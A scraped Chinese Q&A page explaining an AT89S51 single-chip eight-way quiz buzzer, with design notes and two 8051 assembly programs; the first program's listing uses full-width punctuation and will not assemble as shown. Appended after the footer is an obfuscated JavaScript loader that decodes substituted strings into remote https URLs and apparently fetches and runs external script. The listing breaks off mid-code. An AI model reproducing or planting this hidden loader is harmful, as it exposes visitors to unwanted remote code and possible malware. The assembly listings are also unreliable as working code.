230问答网 > AT89S51单片机八路抢答器工作原理

AT89S51单片机八路抢答器工作原理

2025-02-11 13:13:32
推荐回答（3个）
回答1：

基于MCS-51系列单片机AT89S51的八路抢答器

基于MCS-51系列单片机AT89S51的八路抢答器

前言

随着现代电子电路的快速发展，以及电子行业对现有电子工程技术的不断需求，特别是对实际操作实践的电子人才的需求越来越多，所以加强学生动手能力、重视实践应该是电子发展需求的必然趋向。实践动手能力的培养是一种综合能力，这种能力当然是在一定难度的前提下完成的，通过一定数量的实践才能逐步形成的。因此在培养实践能力的同时，要通过实践来不断的发现问题和解决问题的途径和方法，从而提高实践能力。

近年来，随着单片机档次的不断提高，功能的不断完善，其应用日趋成熟、应用领域日趋扩大，特别是工业测控、尖端武器和日用家电等领域更是因为有了单片机而生辉增色。单片机应用技术已成为一项新的工程应用技术。本次实习设计的题目为基于单片机的抢答器。

在本次的课程设计中我主要负责了该系统的印制电路板PCB的制作

一、方案论证

方案一:系统各部分采用中小规模集成数字电路，用机械开关按钮作为控制开关，完成抢答输入信号的触发。该方案的特点是中小规模集成电路应用技术成熟，性能可靠，能方便地完成选手抢答的基本功能，但是由于系统功能要求较高，所以电路连接集成电路相对较多，而且过于复杂，并且制作过程工序比较烦琐，使用不太方便。

方案二:该系统采用MCS-51系列单片机AT89S51作为控制核心，该系统可以完成运算控制、信号识别以及显示功能的实现。由于用了单片机，使其技术比较成熟，应用起来方便、简单并且单片机周围的辅助电路也比较少，便于控制和实现。整个系统具有极其灵活的可编程性，能方便地对系统进行功能的扩张和更改性。 CS-51单片机特点如下：

1> 可靠性好：单片机按照工业控制要求设计，抵抗工业噪声干扰优于一般的CPU ，程序指令和数据都可以烧写在ROM许多信号通道都在同一芯片，因此可靠性高。

2> 易扩充：单片机有一般电脑所必须的器件，如三态双向总线，串并行的输入及输出引脚，可扩充为各种规模的微电脑系统

3> 控制功能强：单片机指令除了输入输出指令，逻辑判断指令外还有更丰富的条件分支跳跃指令。原理框图如1-1所示;

图1-1

方案比较及其选用依据，显然方案二比方案一简单的多，不但从性能上优于方案一，而且在使用上及其功能的实现上都较方案一简洁，并且由于单片机具有优越的高集成电路性，使其工作速度更快、效率更高。另外AT89S51单片机采用12MHz的晶振，提高了信号的测量精度，并且使该系统可以通过软件改进来扩张功能。而方案一采用了中小规模集成电路，有其复杂的电路性能，从而可能会使信号的输入输出产生延时及不必要的误差。依此依据选择方案二比较适合。

二、原理分析

1. 本电路采用单片机AT89C51作为控制芯片，单片机的P0口外接八个发光二极管，每个发光二极管分别作为八位选手的信号指示灯。并在各个外接电路上并接开关按键，按键另一端接地。发光二极管采用共阳极接法，由于P0口为高电平呈输入状态，当有按键按下时，P0口呈低电平与按键对应的发光二极管满足点亮条件点亮。在程序编程上采用查询，查询P0口P0。0到P0。7的八个端口呈低电平，即查询是哪个选手先按键，然后将选手号码的字节数据送至串行口输出并在数码管上显现出来。

2. 蜂鸣器是利用三极管处于开关状态是的导通与截止工作，在三极管导通时蜂鸣器工作，三极管截止时蜂鸣器不工作。三极管采用8550 PNP型基极接于P1。2口置其低电平时三极管导通，置其高电平时三极管截止。

3. 数码管采用共阳极七段显示，其内部发光二极管为共阳极接高电平，当对应发光二极管一端为低电平时发光二极管点亮，显示的数字或字符由送入的字节数据控制，字节数据的输出采用串形口工作模式0，8位串行字节数据的输出通过RXD端口送出，TXD端用于送出同步移位脉冲，作为外接器件的同步移位信号。数据的发送是在TI=0的情况下，由一写发送缓冲器的指令开始CPU执行完该指令，串行口即将8位数据从RXD端送出，同时TXD端发出同步移位脉冲。8位数据发送完毕后由硬件置位TI=1，通过查询TI位来确定是否发送完一组数据，TI=1表示发送缓冲器已空，当要发送下一组数据时用软件使TI清零，然后即可发送下一组数据。

4. 软件设计分析首先在程序的开始为选手设置了一段违规程序，该程序的作用是为了防止选手在主持人没有按下抢答键时，有的选手已经提前抢答了，本次抢答为无效抢答，并有报警和记录下该位选手的选号，做违规处理，如果选手超出了在规定的提前抢答次数，则该选手将被取消以后的抢答资格。如果在主持按下抢答键时再抢答，该次抢答被视为有效抢答，在主持按下回答问题的键时选手就可以在规定的时间内回答问题了

图1-2

<1> 选手查询程序：

ORG 0000H

START:CLR A

MOV A，#0FFH

MOV P0，A

LOP:JNB P2。4，LP

JNB P0。0，SA1

JNB P0。1，SA2

JNB P0。2，SA3

JNB P0。3，SA4

JNB P0。4，SA5

JNB P0。5，SA6

JNB P0。6，SA7

JNB P0。7，SA8

SJMP LOP

SA1:AJMP SB1

SA2:AJMP SB2

SA3:AJMP SB3

SA4:AJMP SB4

SA5:AJMP SB5

SA6:AJMP SB6

SA7:AJMP SB7

SA8:AJMP SB8

LP:MOV R0，#9

LOP1:LCALL LED

LCALL DEL

JNB P0。0，SIP1

JNB P0。1，SIP2

JNB P0。2，SIP3

JNB P0。3，SIP4

JNB P0。4，SIP5

JNB P0。5，SIP6

JNB P0。6，SIP7

JNB P0。7，SIP8

DEC R0

CJNE R0，#0，LOP1

MOV R0，#0

LCALL LED

LCALL DEL

SJMP LOP

SIP1:AJMP DIP1

SIP2:AJMP DIP2

SIP3:AJMP DIP3

SIP4:AJMP DIP4

SIP5:AJMP DIP5

SIP6:AJMP DIP6

SIP7:AJMP DIP7

SIP8:AJMP DIP8

SB1:MOV R2，#1

LCALL LED1

LCALL DE

SJMP LP1

SB2:MOV R2，#2

LCALL LED1

LCALL DE

SJMP LP1

SB3:MOV R2，#3

LCALL LED1

LCALL DE

SJMP LP1

SB4:MOV R2，#4

LCALL LED1

LCALL DE

SJMP LP1

SB5:MOV R2，#5

LCALL LED1

LCALL DE

SJMP LP1

SB6:MOV R2，#6

LCALL LED1 

LCALL DE

SJMP LP1

SB7:MOV R2，#7

LCALL LED1

LCALL DE

SJMP LP1

SB8:MOV R2，#8

LCALL LED1

LCALL DE

SJMP LP1

LP1:JNB P2。4，LOP2

SJMP LP1

DIP1:MOV R2，#1

LCALL LED1

LCALL DE

SJMP LH1

DIP2:MOV R2，#2

LCALL LED1

LCALL DE

SJMP LH1

DIP3:MOV R2，#3

LCALL LED1

LCALL DE

SJMP LH1

DIP4:MOV R2，#4

LCALL LED1

LCALL DE

SJMP LH1

DIP5:MOV R2，#5

LCALL LED1

LCALL DE

SJMP LH1

DIP6:MOV R2，#6

LCALL LED1

LCALL DE

SJMP LH1

DIP7:MOV R2，#7

LCALL LED1

LCALL DE

SJMP LH1

DIP8:MOV R2，#8

LCALL LED1

LCALL DE

SJMP LH1

LH1:JNB P2。4，LOOP

SJMP LH1

LOP2:MOV A，#11H

MOV SBUF，A

JNB TI，$

CLR TI

LCALL DEL

AJMP LOP

<2> 串行输出程序:

该部分程序的设计利用了单片机的串行模式0输出，该输出方式占用IO口少。可以省去许多IO口作为功能的扩展使用。在该模式下，我们采用了输出查询的方式，就是要借助发送标志TI，当程序执行到发送标志位时，查询其标志位TI的值，只要TI的值是0程序就继续查询，知道查询到TI为1时才结束，然后在进入下一组数据的发送。由于串行输出时送进去的数都是十进制数，以致计算机不能识别，所以还要把送进去的十进制数转化成而进制数，这样才能输出。因此在输出程序前必须有拆字程序，把原来送进去的十进制数转化成二进制数，然后在输出并通过数码管显示出来。但是如果在显示选手选号与显示选手回答问题所用的到计同用一段串行输出程序时就会造成程序的混乱，所以在此处设计了两段初始值不同的显示程序，从而可能增加了程序的烦琐化。

LED1:MOV A，R2

MOV B，#10

DIV AB

MOV R1，A

MOV R3，B

MOV A，R1

MOV DPTR，#TAB

MOVC A，@A+DPTR

MOV SBUF，A

JNB TI，$

CLR TI

MOV A，R3

MOVC A，@A+DPTR

MOV SBUF，A

JNB TI，$

CLR TI

RET。

LED:MOV A，R0

MOV B，#10

DIV AB

MOV R1，A

MOV R3，B

MOV A，R1

MOV DPTR，#TAB

MOVC A，@A+DPTR

MOV SBUF，A

JNB TI，$

CLR TI

MOV A，R3

MOVC A，@A+DPTR

MOV SBUF，A

JNB TI，$

CLR TI

RET

DE:CLR P1。2

LCALL DEL01

SETB P1。2

LCALL DEL01

RET

TAB:DB 11H，0D7H，32H，92H，0D4H，98H，18H，0D3H，10H，90H

RET

END

<3>倒计时程序

该程序为选手回答问题时的30秒倒计时程序，其中前25秒为正常的倒计时，在后5秒倒计时时伴随有报警声，用于提示选手回答问题的剩余时间。如果该选手在正常的倒计时内没有完成问题的回答，那么倒计时将被清零。

LOOP:MOV R0，#30

LPP:LCALL LED

LCALL DEL

JNB P2。4，LOP2

DEC R0

CJNE R0，#5，LPP

MOV R0，#5

LPP1:JNB P2。4，LOP2

LCALL LED

LCALL DE

DEC R0

CJNE R0，#0，LPP1

MOV R0，#0

LCALL LED

LCALL DEL

LJMP START

<4>延时程序

该系统设计了两段延时程序，一段1秒延时，是为了30秒倒计时调用和程序中一秒延时所用；另一段为0。5秒延时，用于报警。程序的设计中报警时间为一秒，但是由于在硬件的设计时只设计了一个按键，这样就会造成连续按键时会使所设定的报警声不断的响，这是设计中不允许的，所以在软件编程时设计了一个0。5秒的延时，被报警时所调用，这样就使报警声能很清楚地区分出来了

DEL:MOV R6，#20 DEL01:MOV R6，#10

DEL1:MOV R5，#100 DEL11:MOV R5，#100

DEL2:MOV R4，#250 DEL21:MOV R4，#250

DJNZ R4，$ DJNZ R4，$

DJNZ R5，DEL2 DJNZ R5，DEL21

DJNZ R6，DEL1 DJNZ R6，DEL11

RET RET

<5>报警程序

该段程序主要是用于本系统中的所有报警使用，报警时间延时为1秒钟。

DE:CLR P1。2

LCALL DEL01

SETB P1。2

LCALL DEL01

RET

三、制作过程

五、参考文献

曾峰，巩海洪，曾波，电子工业出版社，印刷电路板（PCB）设计与制作 2005.8

梅海凤，王艳秋，张军，汪毓铎，清华大学出版社 单片机原理与接口技术 2004.2

北京交通大学出版社 

第二个文献：基于51单片机八路抢答器设计程序及电路图

基于51单片机八路抢答器设计程序及电路图

说明：本人的这个设计改进后解决了前一个版本中1号抢答优先的问题，并增加了锦囊的设置，当参赛选手在回答问题时要求使用锦囊，则主持人按下抢答开始键，计时重新开始。

;八路抢答器电路请看下图是用ps仿真的，已经测试成功

<单片机八路抢答器电路图>

;============================================================

;================单片机八路抢答器程序 =====================

;================ 51hei =======================

;================ 2008 年 5月 =======================

;============================================================

OK EQU 20H;抢答开始标志位

RING EQU 22H;响铃标志位

ORG 0000H

AJMP MAIN

ORG 0003H

AJMP INT0SUB

ORG 000BH

AJMP T0INT

ORG 0013H

AJMP INT1SUB

ORG 001BH

AJMP T1INT

ORG 0040H

MAIN: MOV R1,#30;初设抢答时间为30s

MOV R2,#60;初设答题时间为60s

MOV TMOD,#11H;设置未定时器/模式1

MOV TH0,#0F0H

MOV TL0,#0FFH;越高发声频率越高,越尖

MOV TH1,#3CH

MOV TL1,#0B0H;50ms为一次溢出中断

SETB EA

SETB ET0

SETB ET1

SETB EX0

SETB EX1;允许四个中断,T0/T1/INT0/INT1

CLR OK

CLR RING

SETB TR1

SETB TR0;一开始就运行定时器,以开始显示FFF.如果想重新计数,重置TH1/TL1就可以了

;=====查询程序=====

START: MOV R5,#0BH

MOV R4,#0BH

MOV R3,#0BH

ACALL DISPLAY;未开始抢答时候显示FFF

JB P3.0,NEXT;ddddddd

ACALL DELAY

JB P3.0,NEXT;去抖动,如果"开始键"按下就向下执行,否者跳到非法抢答查询

ACALL BARK;按键发声

MOV A,R1

MOV R6,A;送R1->R6,因为R1中保存了抢答时间

SETB OK;抢答标志位,用于COUNT只程序中判断是否查询抢答

MOV R7,#01H ;读抢答键数据信号标志，这里表示只读一次有用信号

MOV R3,#0AH;抢答只显示计时,灭号数

AJMP COUNT;进入倒计时程序,"查询有效抢答的程序"在COUNT里面

NEXT: JNB P1.0,FALSE1

JNB P1.1,FALSE2

JNB P1.2,FALSE3

JNB P1.3,FALSE4

JNB P1.4,FALSE5

JNB P1.5,FALSE6

JNB P1.6,FALSE7

JNB P1.7,FALSE8

AJMP START

;=====非法抢答处理程序=====

FALSE1: MOV R3,#01H

AJMP ERROR

FALSE2: MOV R3,#02H

AJMP ERROR

FALSE3: MOV R3,#03H

AJMP ERROR

FALSE4: MOV R3,#04H

AJMP ERROR

FALSE5: MOV R3,#05H

AJMP ERROR

FALSE6: MOV R3,#06H

AJMP ERROR

FALSE7: MOV R3,#07H

AJMP ERROR

FALSE8: MOV R3,#08H

AJMP ERROR

;=====INT0(抢答时间R1调整程序)=====

INT0SUB:MOV A,R1

MOV B,#0AH

DIV AB

MOV R5,A

MOV R4,B

MOV R3,#0AH

ACALL DISPLAY;先在两个时间LED上显示R1

JNB P3.4,INC0;P3.4为+1s键,如按下跳到INCO

JNB P3.5,DEC0;P3.5为-1s键,如按下跳到DECO

JNB P3.1,BACK0;P3.1为确定键,如按下跳到BACKO

AJMP INT0SUB

INC0: MOV A,R1

CJNE A,#63H,ADD0;如果不是99,R2加1,如果加到99,R1就置0，重新加起。

MOV R1,#00H

ACALL DELAY1

AJMP INT0SUB

ADD0: INC R1

ACALL DELAY1

AJMP INT0SUB

DEC0: MOV A,R1

JZ SETR1;如果R1为0, R1就置99，

DEC R1

ACALL DELAY1

AJMP INT0SUB

SETR1: MOV R1,#63H

ACALL DELAY1

AJMP INT0SUB

BACK0: RETI

;=====INT1(回答时间R2调整程序)=====

INT1SUB:MOV A,R2

MOV B,#0AH

DIV AB

MOV R5,A

MOV R4,B

MOV R3,#0AH

ACALL DISPLAY

JNB P3.4,INC1

JNB P3.5,DEC1

JNB P3.1,BACK1

AJMP INT1SUB

INC1: MOV A,R2

CJNE A,#63H,ADD1

MOV R2,#00H

ACALL DELAY1

AJMP INT1SUB

ADD1: INC R2

ACALL DELAY1

AJMP INT1SUB

DEC1: MOV A,R2

JZ SETR2

DEC R2

ACALL DELAY1

AJMP INT1SUB

SETR2: MOV R2,#63H

ACALL DELAY1

AJMP INT1SUB

BACK1: RETI

;=====倒计时程序(抢答倒计时和回答倒计时都跳到改程序)=====

REPEAT:MOV A,R2 ;使用锦囊时重新计时

MOV R6,A

CLR RING

COUNT: MOV R0,#00H;重置定时器中断次数

MOV TH1,#3CH

MOV TL1,#0B0H;重置定时器

RECOUNT:MOV A,R6;R6保存了倒计时的时间,之前先将抢答时间或回答时间给R6

MOV B,#0AH

DIV AB;除十分出个位/十位

MOV 30H,A;十位存于(30H)

MOV 31H,B;个位存于(31H)

MOV R5,30H;取十位

MOV R4,31H;取个位

MOV A,R6

SUBB A,#07H

JNC LARGER;大于5s跳到LARGER,小于等于5s会提醒

MOV A,R0

CJNE A,#0AH,FULL;1s中0.5s向下运行

CLR RING

AJMP CHECK

FULL: CJNE A,#14H,CHECK;下面是1s的情况,响并显示号数并清R0,重新计

SETB RING

MOV A,R6

JZ QUIT;计时完毕

MOV R0,#00H

DEC R6;一秒标志减1

AJMP CHECK

LARGER: MOV A,R0

CJNE A,#14H,CHECK;如果1s向下运行,否者跳到查"停/显示"

DEC R6;计时一秒R6自动减1

MOV R0,#00H

CHECK: JNB P3.1,QUIT;如按下停止键退出

JNB OK,CHECKK ;只在回答倒计时才有效

AJMP NEXTT

CHECKK:JNB P3.0,REPEAT ;判断是否使用锦囊

NEXTT: ACALL DISPLAY

JB OK,ACCOUT;如果是抢答倒计时,如是则查询抢答,否者跳过查询继续倒数(这里起到锁抢答作用)

AJMP RECOUNT

ACCOUT:

MOV A,36H

JNB ACC.0,TRUE1

JNB ACC.1,TRUE2

JNB ACC.2,TRUE3

JNB ACC.3,TRUE4

JNB ACC.4,TRUE5

JNB ACC.5,TRUE6 

JNB ACC.6,TZ1

JNB ACC.7,TZ2

AJMP RECOUNT

TZ1:JMP TRUE7

TZ2:JMP TRUE8

QUIT: CLR OK;如果按下了"停止键"执行的程序

CLR RING

AJMP START

;=====正常抢答处理程序=====

TRUE1: ACALL BARK

MOV A,R2

MOV R6,A;抢答时间R2送R6

MOV R3,#01H

CLR OK;因为答题的计时不再查询抢答,所以就锁了抢答

AJMP COUNT

TRUE2:ACALL BARK

MOV A,R2

MOV R6,A

MOV R3,#02H

CLR OK

AJMP COUNT

TRUE3:ACALL BARK

MOV A,R2

MOV R6,A

MOV R3,#03H

CLR OK

AJMP COUNT

TRUE4:ACALL BARK

MOV A,R2

MOV R6,A

MOV R3,#04H

CLR OK

AJMP COUNT

TRUE5:ACALL BARK

MOV A,R2

MOV R6,A

MOV R3,#05H

CLR OK

AJMP COUNT

TRUE6: ACALL BARK

MOV A,R2

MOV R6,A

MOV R3,#06H

CLR OK

AJMP COUNT

TRUE7:ACALL BARK

MOV A,R2

MOV R6,A

MOV R3,#07H

CLR OK

AJMP COUNT

TRUE8:ACALL BARK

MOV A,R2

MOV R6,A

MOV R3,#08H

CLR OK

AJMP COUNT

;=====犯规抢答程序=====

ERROR: MOV R0,#00H

MOV TH1,#3CH

MOV TL1,#0B0H

MOV 34H,R3;犯规号数暂存与(34H)

HERE: MOV A,R0

CJNE A,#06H,FLASH;0.3s向下运行->灭并停响

CLR RING

MOV R3,#0AH

MOV R4,#0AH

MOV R5,#0AH;三灯全灭

AJMP CHECK1

FLASH: CJNE A,#0CH,CHECK1;下面是0.8s的情况,响并显示号数并清R0,重新计

SETB RING

MOV R0,#00H

MOV R3,34H;取回号数

MOV R5,#0BH

MOV R4,#0BH;显示FF和号数

AJMP CHECK1

CHECK1: JNB P3.1,QUIT1

ACALL DISPLAY

AJMP HERE

QUIT1: CLR RING

CLR OK

AJMP START

;=====显示程序=====

DISPLAY:MOV DPTR,#DAT1;查表显示程序,利用P0口做段选码口输出/P2低三位做位选码输出,

MOV A,R3

MOVC A,@A+DPTR

MOV P2,#0feH

MOV P0,A

ACALL DELAY2

MOV DPTR,#DAT2

MOV A,R5

MOVC A,@A+DPTR

MOV P2,#0fdH

MOV P0,A

ACALL DELAY2

MOV A,R4

MOVC A,@A+DPTR

MOV P2,#0fbH

MOV P0,A

ACALL DELAY2

RET

DAT1:DB 00h,06h,5bh,4fh,66h,6dh,7dh,07h,7fh,6fh,00H,71H

;"灭","1","2","3","4","5","6","7","8","9","灭","F"

DAT2:DB 3fh,06h,5bh,4fh,66h,6dh,7dh,07h,7fh,6fh,00H,71H

;第一个为零,其他与上相同,因为十位如果为零显示熄灭

;====加减时间延时(起到不会按下就加N个数)======

DELAY1: MOV 35H,#08H

LOOP0: ACALL DISPLAY

DJNZ 35H,LOOP0

RET

;=====延时4236个机器周期(去抖动用到)=====

DELAY: MOV 32H,#12H

LOOP: MOV 33H,#0AFH

LOOP1: DJNZ 33H,LOOP1

DJNZ 32H,LOOP

RET

;=====延时4236个机器周期(显示用到)=====

DELAY2: MOV 32H,#43H

LOOP3: MOV 33H,#1EH

MOV A,R7 ;每隔60~70个机器周期读一次P1口,全为1时为无效数据,继续读,有一个不为1时,转到正常抢答处理

JNZ AAAA1 ;没读到有效数据时继续转到AAAA1

LOOP2: DJNZ 33H,LOOP2

DJNZ 32H,LOOP3

RET

;=====读抢答按键数据口程序=====

;由于在读抢答数据口的时候，单片机首先进入倒计时程序，再调用显示程序，最后才检测按键口

;然而在检测按键口时动态扫描要调用三次(4ms)延时程序.这样就会导致读数据口出现滞后,造成1号优先最高.8号最低.

;故采用在延时子程序中加了读数据口程序.保证了灵敏度和可靠性

AAAA1: MOV A,P1

CJNE A,#0FFH,AA1 ;当不全为1时的数据为有效数据

AA0: MOV 36H,A ;将有效数据送到36H暂存

AJMP LOOP2

AA1: DEC R7

AJMP AA0

;=====发声程序=====

BARK: SETB RING

ACALL DELAY1

ACALL DELAY1

CLR RING;按键发声

RET

;=====TO溢出中断(响铃程序)=====

T0INT: MOV TH0,#0ECH

MOV TL0,#0FFH

JNB RING,OUT;

CPL P3.6;RING标志位为1时候P3.6口不短取反使喇叭发出一定频率的声音

OUT: RETI

;=====T1溢出中断(计时程序)=====

T1INT: MOV TH1,#3CH

MOV TL1,#0B0H

INC R0

RETI

END 

仅供参考。

回答2：

八路抢答器就是8个按键，假设当键按下时为低电平加上一个裁判键。单片机循环查询每个按键的状态，当检测到低电平时，判断是否合法（比如裁判是否允许按键，）不合法，转到相应程序，合法，按键延时，去抖动，报警，蜂鸣器想，灯亮。
上面的做法最简单，软件硬件都简单，但是可能会出现，排在后面的按键比前面的按键后检测到情况，有失公平，可用用一个8输入与门，输出端接单片机中断口，检测到中断后保存下8个按键的状态，查表获得是哪个键按下。这个方案相对复杂一些

回答3：

你要什么

相关问答
最新问答
表现战争场面的词语
请问台湾的台北和 台北县是什么关系有连接吗？怎么有两个台北啊？
无锡机场大巴站到t2有多远
企业视觉识别系统国内做的好的公司都怎么收费的。就是vi设计。
电视剧仙侠剑的花弄影是谁扮演的，我要准确答案。
我和朋友合伙投资一个项目，我投十五万 一年以后有三十万分红，协议如何签订？
赤峰至阿尔山有多少公里？
今生我只喜欢你,但有没有爱上你是哪一首歌里面的歌词
女人35岁失业能干什么
农历1990年8月24日晚上20:30左右出生,五行是什么
返回顶部

内容全部来源于网络收集，如有侵权，请联系网站删除：QQ：24596024

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 